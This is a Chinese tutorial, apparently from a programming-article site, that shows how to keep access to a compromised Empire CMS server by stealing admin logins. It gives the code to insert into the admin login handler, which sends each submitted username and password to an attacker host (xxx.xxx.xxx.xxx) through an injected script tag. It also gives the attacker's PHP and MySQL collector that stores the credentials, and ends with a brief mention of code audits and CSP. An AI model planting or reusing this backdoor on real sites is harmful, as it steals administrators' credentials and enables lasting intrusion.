账户名密码是怎样被窃取的,简单模拟攻击者权限维持流程。

本文主要是介绍账户名密码是怎样被窃取的,简单模拟攻击者权限维持流程。,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前言

在我们进行渗透测试的时候,常常需要进行权限维持,常见的 Javascript窃取用户凭证是一种常见的攻击手法。
之前我们可能学习过钓鱼网页的使用,如果我们通过渗透测试进入到用户的服务器,其实也可以通过在网页中植入Javascript代码的方式来达到权限维持的效果。
本篇文章通过分析Javascript用户凭证窃取,来分析如何进行权限维持。

正文

凭证劫持流程

“凭证劫持”(Credential Hijacking)是指攻击者通过非法手段窃取或获取到用户的认证信息(如用户名和密码),从而在无需合法用户授权的情况下,冒充该用户访问受保护的网络资源或服务。
实现凭证劫持的流程非常简单,如下图所示:

凭证劫持实现权限维持的需要:

  • 受控服务器
  • 恶意代码植入
  • 攻击者服务器接收用户名及密码

凭证劫持演示

前置环境准备:

  1. 帝国 CMS:http://www.phome.net/
  2. 用户数据库创建

在攻击者服务器中,我们使用如下语句来创建相关的数据库:

CREATE DATABASE flash;USE flash;CREATE TABLE info (username VARCHAR(255) NOT NULL,password VARCHAR(255) NOT NULL
);

以上MYSQL语句的作用是创建一个名为flash的数据库以及一个名为info的表单,表单中包含两列,一列为username,另一列为password
我们本次实验使用帝国 CMS 进行实验测试,在帝国 CMS 处理后台管理员账户名密码的文件/admin/ecmsadmin.php中,我们可以看到这样一段代码:

if($enews=="login")//登陆
{$username=$_POST['username'];$password=$_POST['password'];$key=$_POST['key'];$loginin=$username;login($username,$password,$key,$_POST);
}
else
{printerror("ErrorUrl","history.go(-1)");
}

这段代码用于处理前端表单数据中 POST 上来的usernamepassword,并将其赋值给相关变量,此时我们在if条件判断成功语句中插入恶意执行Javascript代码:

$url = "http://xxx.xxx.xxx.xxx/index.php?user={$username}&pass={$password}";
$up = "<script src=\"{$url}\"></script>";
echo $up;

此时在攻击者服务器中部署恶意代码,代码内容如下:

<?php
// 数据库连接信息
$servername = "localhost";$username = "root";
$password = "root";$dbname = "flash";// 创建连接
$conn = new mysqli($servername, $username,$password, $dbname);// 检查连接
if ($conn->connect_error) {die("连接失败: " . $conn->connect_error);
}// 用户名和密码从 GET 请求中获取,实际应用中应从安全的地方获取
$user =$_GET['user'];
$pass =$_GET['pass'];// 准备检查唯一性的 SQL 语句
$stmt =$conn->prepare("SELECT * FROM info WHERE username = ?");
$stmt->bind_param("s",$user); // 绑定参数 's' 表示字符串类型
$stmt->execute();// 获取结果
$result =$stmt->get_result();// 检查是否存在相同用户名和密码
if ($result->num_rows > 0) {// 如果存在,则不执行 INSERT 语句echo "该用户名或密码已存在。";
} else {// 如果不存在,准备插入语句$stmt =$conn->prepare("INSERT INTO info (username, password) VALUES (?, ?)");$stmt->bind_param("ss",$user, $pass);// 执行插入语句if ($stmt->execute()) {echo "新用户已成功添加。";} else {echo "添加新用户失败:" . $stmt->error;}
}// 关闭语句和连接
$stmt->close();$conn->close();
?>

此时我们模拟管理员登录进入到帝国 CMS 页面:
image.png
并先后用以下账户名和密码进行登录:

username1:pasword1
admin:password
guest:guestpasword

此时访问攻击者服务器数据库,此时相关用户名与密码已经存入到数据中,凭证成功劫持。
image.png

总结

本篇文章总结了常见的钓鱼网页的钓鱼手法,以及通过使用这种手法达到凭证劫持的效果,在工作环境中,我们要进行代码审计来审查自己的服务代码中是否被黑客植入了恶意代码或者发现未知漏洞,同时也可以实施CSP可以限制哪些来源的资源可以被加载到网页中,以此减少恶意脚本的风险。

这篇关于账户名密码是怎样被窃取的,简单模拟攻击者权限维持流程。的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/756190

相关文章

使用MongoDB进行数据存储的操作流程

《使用MongoDB进行数据存储的操作流程》在现代应用开发中,数据存储是一个至关重要的部分,随着数据量的增大和复杂性的增加,传统的关系型数据库有时难以应对高并发和大数据量的处理需求,MongoDB作为... 目录什么是MongoDB?MongoDB的优势使用MongoDB进行数据存储1. 安装MongoDB

利用Python编写一个简单的聊天机器人

《利用Python编写一个简单的聊天机器人》这篇文章主要为大家详细介绍了如何利用Python编写一个简单的聊天机器人,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... 使用 python 编写一个简单的聊天机器人可以从最基础的逻辑开始,然后逐步加入更复杂的功能。这里我们将先实现一个简单的

Python实现NLP的完整流程介绍

《Python实现NLP的完整流程介绍》这篇文章主要为大家详细介绍了Python实现NLP的完整流程,文中的示例代码讲解详细,具有一定的借鉴价值,感兴趣的小伙伴可以跟随小编一起学习一下... 目录1. 编程安装和导入必要的库2. 文本数据准备3. 文本预处理3.1 小写化3.2 分词(Tokenizatio

使用IntelliJ IDEA创建简单的Java Web项目完整步骤

《使用IntelliJIDEA创建简单的JavaWeb项目完整步骤》:本文主要介绍如何使用IntelliJIDEA创建一个简单的JavaWeb项目,实现登录、注册和查看用户列表功能,使用Se... 目录前置准备项目功能实现步骤1. 创建项目2. 配置 Tomcat3. 项目文件结构4. 创建数据库和表5.

使用PyQt5编写一个简单的取色器

《使用PyQt5编写一个简单的取色器》:本文主要介绍PyQt5搭建的一个取色器,一共写了两款应用,一款使用快捷键捕获鼠标附近图像的RGB和16进制颜色编码,一款跟随鼠标刷新图像的RGB和16... 目录取色器1取色器2PyQt5搭建的一个取色器,一共写了两款应用,一款使用快捷键捕获鼠标附近图像的RGB和16

四种简单方法 轻松进入电脑主板 BIOS 或 UEFI 固件设置

《四种简单方法轻松进入电脑主板BIOS或UEFI固件设置》设置BIOS/UEFI是计算机维护和管理中的一项重要任务,它允许用户配置计算机的启动选项、硬件设置和其他关键参数,该怎么进入呢?下面... 随着计算机技术的发展,大多数主流 PC 和笔记本已经从传统 BIOS 转向了 UEFI 固件。很多时候,我们也

基于Qt开发一个简单的OFD阅读器

《基于Qt开发一个简单的OFD阅读器》这篇文章主要为大家详细介绍了如何使用Qt框架开发一个功能强大且性能优异的OFD阅读器,文中的示例代码讲解详细,有需要的小伙伴可以参考一下... 目录摘要引言一、OFD文件格式解析二、文档结构解析三、页面渲染四、用户交互五、性能优化六、示例代码七、未来发展方向八、结论摘要

Linux中chmod权限设置方式

《Linux中chmod权限设置方式》本文介绍了Linux系统中文件和目录权限的设置方法,包括chmod、chown和chgrp命令的使用,以及权限模式和符号模式的详细说明,通过这些命令,用户可以灵活... 目录设置基本权限命令:chmod1、权限介绍2、chmod命令常见用法和示例3、文件权限详解4、ch

Java中的密码加密方式

《Java中的密码加密方式》文章介绍了Java中使用MD5算法对密码进行加密的方法,以及如何通过加盐和多重加密来提高密码的安全性,MD5是一种不可逆的哈希算法,适合用于存储密码,因为其输出的摘要长度固... 目录Java的密码加密方式密码加密一般的应用方式是总结Java的密码加密方式密码加密【这里采用的

SpringBoot使用minio进行文件管理的流程步骤

《SpringBoot使用minio进行文件管理的流程步骤》MinIO是一个高性能的对象存储系统,兼容AmazonS3API,该软件设计用于处理非结构化数据,如图片、视频、日志文件以及备份数据等,本文... 目录一、拉取minio镜像二、创建配置文件和上传文件的目录三、启动容器四、浏览器登录 minio五、